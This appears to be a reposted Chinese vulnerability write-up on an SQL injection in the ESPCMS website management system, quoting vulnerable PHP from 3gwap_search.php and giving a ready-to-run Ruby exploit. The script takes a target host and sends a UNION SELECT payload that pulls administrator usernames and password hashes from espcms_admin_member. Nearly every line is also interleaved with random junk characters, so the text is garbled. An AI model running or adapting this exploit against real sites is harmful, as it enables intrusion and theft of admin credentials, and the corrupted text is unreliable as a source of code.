0×0 漏洞概述0×1 漏洞细节
/ [; Q x4 W B2 x. q3 A0×2 PoC
( c1 k" K4 A7 \! | s4 s1 H5 s, ~& r% \; @: {2 v% B/ h6 t
1 \! w0 u2 F5 W3 ^5 s6 \* b9 t
7 Z9 k* A! \0 y# e% w% n0×0 漏洞概述
9 S9 s+ E6 U# k4 O7 f% H; V: l6 Q2 a4 d- H$ q5 i
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。/ ?7 ~; u* T5 s
其在处理传入的参数时考虑不严谨导致SQL注入发生5 Z! D3 q0 F1 U& R) Y
6 X' z# Y: i) p2 _
/ V6 n+ q3 h0 ]$ ^/ h
0×1 漏洞细节
. {3 Z9 i- ^( g6 c, o8 X+ q0 i% y* |$ {) c5 [
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
0 [! @6 Q) s* H8 {2 {正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
1 B5 g, v4 |1 X, N- m- M而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
6 M- t' j+ I: ~$ T: ^7 k3 S0 S. S# @/ p
在/interface/3gwap_search.php文件的in_result函数中:1 \' P; ?! n9 v2 o h* c' o
5 a) ?- `9 R2 A" N+ z: ?
. I5 z& b: X9 U! t$ K5 u+ o
1 W6 Q( g4 n6 I3 E7 e/ k$ |4 c function in_result() {
. ]7 V" B. S( @ ... ... ... ... ... ... ... ... ...7 L3 \# A$ j2 s7 |
$urlcode = $_SERVER[ 'QUERY_STRING '];- b- r9 C6 c0 ^, r# g, j
parse_str(html_entity_decode($urlcode), $output);
5 f6 A, d2 f# {1 T) C, S
& {( l7 M5 |9 _" g/ C ... ... ... ... ... ... ... ... ...
/ ~% ?1 l8 f5 T if (is_array($output['attr' ]) && count($output['attr']) > 0) {
`$ X6 \9 y( h- ?5 R% u
: m z$ u) U5 v$ j $db_table = db_prefix . 'model_att';
/ I. e/ x3 K: R4 y) n! U# b+ K# }/ b( s! P2 k# Z
foreach ($output['attr' ] as $key => $value) {+ T; b; i: T0 x- J& P9 v0 O- ~
if ($value) {9 N" u% h) e4 B+ |6 ^' X+ e
; \* d1 M: y9 O/ S- x $key = addslashes($key);' p z4 b3 e2 Y4 d. D/ v
$key = $this-> fun->inputcodetrim($key);: W! l% a2 U. p2 G7 a
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
' e+ s" G" S6 |4 h# U, k2 K3 ` n0 F $countnum = $this->db_numrows($db_table, $db_att_where);' W. R7 ?9 z& B1 d5 ]' }/ p
if ($countnum > 0) {) N: P; M9 E2 h" }
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;/ h0 V- k7 R' g4 t6 t
}
' ~9 A6 `& D" N$ F }
1 ~8 t5 L: X; S( n7 r }
[- j& Y. Y7 l3 ~3 C }
$ ]0 M1 a1 g; ~3 _9 S- R if (!empty ($keyword) && empty($keyname)) {
7 U1 o! c+ u `9 G $keyname = 'title';8 m7 o5 l, E; ^7 J
$db_where.= " AND a.title like '%$keyword%'" ;9 h+ p/ d( v, B7 f8 {
} elseif (!empty ($keyword) && !empty($keyname)) {9 i5 z: K( C# y* G( p4 d
$db_where.= " AND $keyname like '% $keyword%'";6 L$ R: e7 q% [2 g! P3 \
}- N+ R* c' |. q0 ~& O! T
$pagemax = 15;
d5 C2 N% Y( h4 J5 ?: L4 ]% w& }* u) Y+ [9 i% E! t* J
$pagesylte = 1;- [# R) D* _4 R4 u5 t
7 w) W' }, a& m) w# j# S if ($countnum > 0) {
4 h! r- y* @6 S$ n, b2 L1 }+ r! a. J3 l
$numpage = ceil($countnum / $pagemax);
. B. A0 c' l% g4 \" o } else {6 C2 a0 Z+ w. i
$numpage = 1;
) o9 G+ Z* }% e/ D. } }& g" J. v" R1 R' ^+ Y2 Z
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;# N) ^7 \7 O/ j G$ p% i
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);' w9 y8 d$ b$ m
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);1 [/ j( T; Z7 y# K: `3 p
... ... ... ... ... ... ... ... ...
2 ]; M) s( Z k, \- g" g `/ } }
3 m; b2 n" U* i7 ]& T1 P
$ Y, n/ a! _$ i) F6 f: i0 I) {; U8 {& h! ]" Z V/ v" r7 n+ u
0×2 PoC
* \' k* @( k8 F. S8 ] Y% A) u2 O+ F; t3 K2 {* @
4 T+ B% i' |; j! u- Z) Z" s& z$ e
' ~) z! e6 T( `( c
require "net/http"
5 j8 g( k3 r6 C3 M4 V. ^5 a
* {6 S q$ t) O3 x; k8 y+ rdef request(method, url)
+ H: O/ D& d# r0 u if method.eql?("get")& R c' b1 v& B: ^5 Q2 t' D5 K V
uri = URI.parse(url)
3 O h( c' n6 s$ V http = Net::HTTP.new(uri.host, uri.port)
1 a, }& z+ Z/ D4 r& u response = http.request(Net::HTTP::Get.new(uri.request_uri))
8 r# ^7 ?& h( h( m: g1 a return response* X" p) E' |( J& J- l
end+ Z3 L4 U' l1 [0 ~
end3 p1 X/ ]8 t- Q1 W7 m9 [
! O4 ~* v3 }6 x1 p" j4 [) w
doc =<<HERE
4 y: Q! H: d' E# S) x& N2 b-------------------------------------------------------
1 _/ t0 g# w3 ~. b/ _0 x8 f0 uEspcms Injection Exploit
0 ?# ]' P1 z* U Z! GAuthor:ztz, A% b0 m+ W0 }/ i/ b. G8 Y
Blog:http://ztz.fuzzexp.org/- f: [ S5 r! e5 \: ?. b
-------------------------------------------------------
$ E9 [* }- g6 o' d5 M2 K6 u# Q1 {, F; _, ^9 s5 h
HERE
( L& T3 R! y& D0 Z# G$ X; p% l0 N# F: b2 k8 ~) I' g4 O
usage =<<HERE; h3 e3 r' K8 N
Usage: ruby #{$0} host port path
: e0 K1 C9 W; [/ U0 K9 O4 {7 Iexample: ruby #{$0} www.target.com 80 /
8 T+ R9 T$ W- v5 sHERE
( l( `! T4 F) I8 z. g2 c0 G! g" J+ C2 |8 _. T9 a4 a8 E
puts doc
1 D, y7 _6 R8 w3 }if ARGV.length < 3
; {/ Y! E4 g' t' Q8 P& p9 e9 d7 S puts usage
, b7 B8 h2 t; |8 M$ qelse
- f5 m2 N) }; |- s $host = ARGV[0]" K0 | G" w* r" t& i8 a( U
$port = ARGV[1]9 w" K- ~# [8 B
$path = ARGV[2]
1 X9 k; {9 w; d1 T# E4 Z
) s9 E6 _7 T, G9 E; K2 W1 \% L puts "send request..."( G; u/ q4 X0 A% B a" M, o
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&# O5 w0 s2 `0 {# l) i. Q1 h
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,134 E. l: j' T9 u+ P
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
! {7 C* ~# V; s, A) Q& X; R,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
( j7 h. {! @5 O6 ?( u- G; O response = request("get", url)0 R$ L& U2 R: T2 d: [
result = response.body.scan(/\w+&\w{32}/)6 A+ W K) M2 j" j' A
puts result9 N) V1 o% y/ e
end
3 ]5 M. e6 K1 \0 J3 T9 X$ v6 ^
0 O$ W. S, ~" v4 v/ k5 t0 I* o |